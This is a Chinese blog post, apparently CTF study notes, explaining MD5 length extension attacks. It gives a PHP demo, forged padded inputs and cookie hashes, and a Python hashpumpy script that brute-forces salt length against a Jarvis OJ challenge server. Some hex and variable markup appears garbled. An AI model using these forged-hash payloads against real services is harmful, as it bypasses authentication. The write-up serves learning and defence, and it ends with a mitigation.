md5长度扩展攻击

上学期本来看过一些长度扩展攻击的东西的,但是时间过了太久了都忘得差不多了.近期刷题恰好又刷到一道md5长度扩展的题,正好总结一下. 我们先了解一下md5加密流程: 参考链接:传送门

首先对长度进行填充和分组

填充是把数据变成512*N+448位的形式,比如如果长度小于448,那么直接补成448位;如果长度大于448位小于512位,就补充成512+448位这种。 填充方法:在消息后面加个1然后无限补0,16进制就是补个80然后无限补0直到448位。 填充完之后前面每组512位,最后一组448位,即56个字节。第57个字节是补位之前的消息长度,后面继续补0直到64字节.就比如下图 abc三个字母,即3字节,24位,十六进制是0x18,所以填个18,后面补0x00.

然后

完成上述过程之后就是获取一个链变量,然后和这个链变量一起进行一波复杂运算(这里不管) 这个链变量一开始是定值,后面的链变量都是上一个块运算得到的结果.

最后

获得最后一次消息的摘要之后进行一个高低位互换即可获得md5。

md5长度扩展攻击

md5长度扩展攻击是什么呢?它的实质就是构造明文控制加盐哈希,比如我前面构造和已经补位了的块完全相同的块,那么我第一部分获得的链变量就是相同的,如果我用这个链变量来后续处理我自己添加的字符串,那我是不是就可以在你的hash后面加东西了. 举个例子: 本来一个字符串\(a="test",0x74657374 我构造一个字符串\)str1: 0x746573748000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000002000000000000000 如果我们知道"test"的hash值,那么这个部分计算出来的值我们是知道的,因为"test"运算的时候也要补位 补位的操作和我们手动的操作是一致的,所以结果是一样的,但是不同的是,我们对字符串后面加了我们自己要添加的东西,比如 0x746573748000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000002000000000000000746573748 这个时候字符串大于512位,所以计算的时候会先补位位1024位,如下 \(str=0x7465737480000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000020000000000000007465737480000 00000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000002002000000000000 计算的时候先算 0x746573748000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000002000000000000000 前面这个部分的链变量为: A=0xcd6b8f09 B=0x73d32146 C=0x834edeca D=0xf6b42726 那么后面的运算用这个部分的链变量来计算即可 0x746573748000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000002002000000000000 通过这种方式,假如我们知道md5(\)salt.\(msg1)的值,知道\)salt长度,那么我们就可以获得md5(\(salt.\)msg1.\(padding.\)hack_content)的值。 在使用长度扩展攻击的时候可以使用hashpump工具,或者是python的hashpumpy库(自行pip安装) 然后我们本地实验一下(自行去掉换行,这里为了美观)

1
2
3
4
5
6
7
<?php
$secret="12345";
var_dump(md5($secret."admin"));
var_dump(md5(urldecode($secret.'admin%80%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00P%00%00%00%00%00%00%00newadmin')));

得到结果为 然后使用hashpump工具得到的结果如图 所以工具是可以信赖的(hhhh,测试一下嘛...) 具体可以看下面两道题

第一题

实验吧的一道题-让我进去 传送门 首先cookie的source改成1看源码,然后发现要让cookie的getmein的值为md5(salt+username+password) 然而salt值我们不知道,然后题目给出了salt长度为15,并且给出了md5(salt+"admin"+"admin"),但是要求getmein不能为这个已经给出的hash,所以这是一道非常经典的长度扩展攻击的题目,通过给出的hash和salt长度,构造出md5(salt+已知值+padding+控制值). 具体工具使用 其中签名是已知hash,然后inputdata是后面密码那个admin,长度是前面的salt+username的admin共计20 然后假设加上padding,然后自己控制数据为blacsheep,那么我们就可以获得flag了. 我们的username填admin,然后密码填admin%80%00%00%00%00%00%00%00%00%00%00%00 %00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00 %00%00%00blacsheep cookie的getmein填fd9b223a9c562017f65eaf824f3ca8dd 如图

第二题

Jarvis的一道题-flag在管理员手里 首先index.php~源码泄漏,vim -r恢复一下 得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>

<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin"
&& $hsh === md5($salt.strrev($_COOKIE["role"]))) {

$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>

</body>
</html>

分析一下源码:首先cookie里面的role要为"admin"的序列化值 而cookie里面的hsh要为md5(salt+"admin"的序列化值的倒序) 而目前我们已经有了md5(salt+"guest"的序列化的倒序) 不过我们并不知道salt的长度 这里需要暴力跑一下. 整理一下条件 我们已知条件 md5(salt+;"tseug":5:s)为3a4727d57463f122833d9e732f94e4e0 要求md5(salt+;"nimda":5:s) 但实际上,反序列化是存在一个小漏洞的,比如 反序列化到分号就停止了 所以这里我们只用把自定义数据改成;"nimda":5:s 所以我们实际上是求md5(salt+;"tseug":5:s+padding+;"nimda":5:s) 本来长度扩展攻击放在最后的一段数据因为反向到前面,又因为反序列化的小漏洞,直接返回了admin 由这些就可以拿到flag了 所以我们写个脚本实验一下

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import hashpumpy

for i in range(1,100):
role = {'role':'s%3a5%3a"admin"%3b%00%00%00%00%00%00%00%c0%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%80s%3a5%3a"guest"%3b',
'hsh':hashpumpy.hashpump('3a4727d57463f122833d9e732f94e4e0',';"tseug":5:s',';"nimda":5:s',i)[0]}
print(role)
r=requests.get('http://web.jarvisoj.com:32778/',cookies=role)
if 'Wel' in r.text:
print(r.text)

然后运行结果 这就拿到flag了 避免md5长度扩展攻击的方法就是md5(salt+md5(input))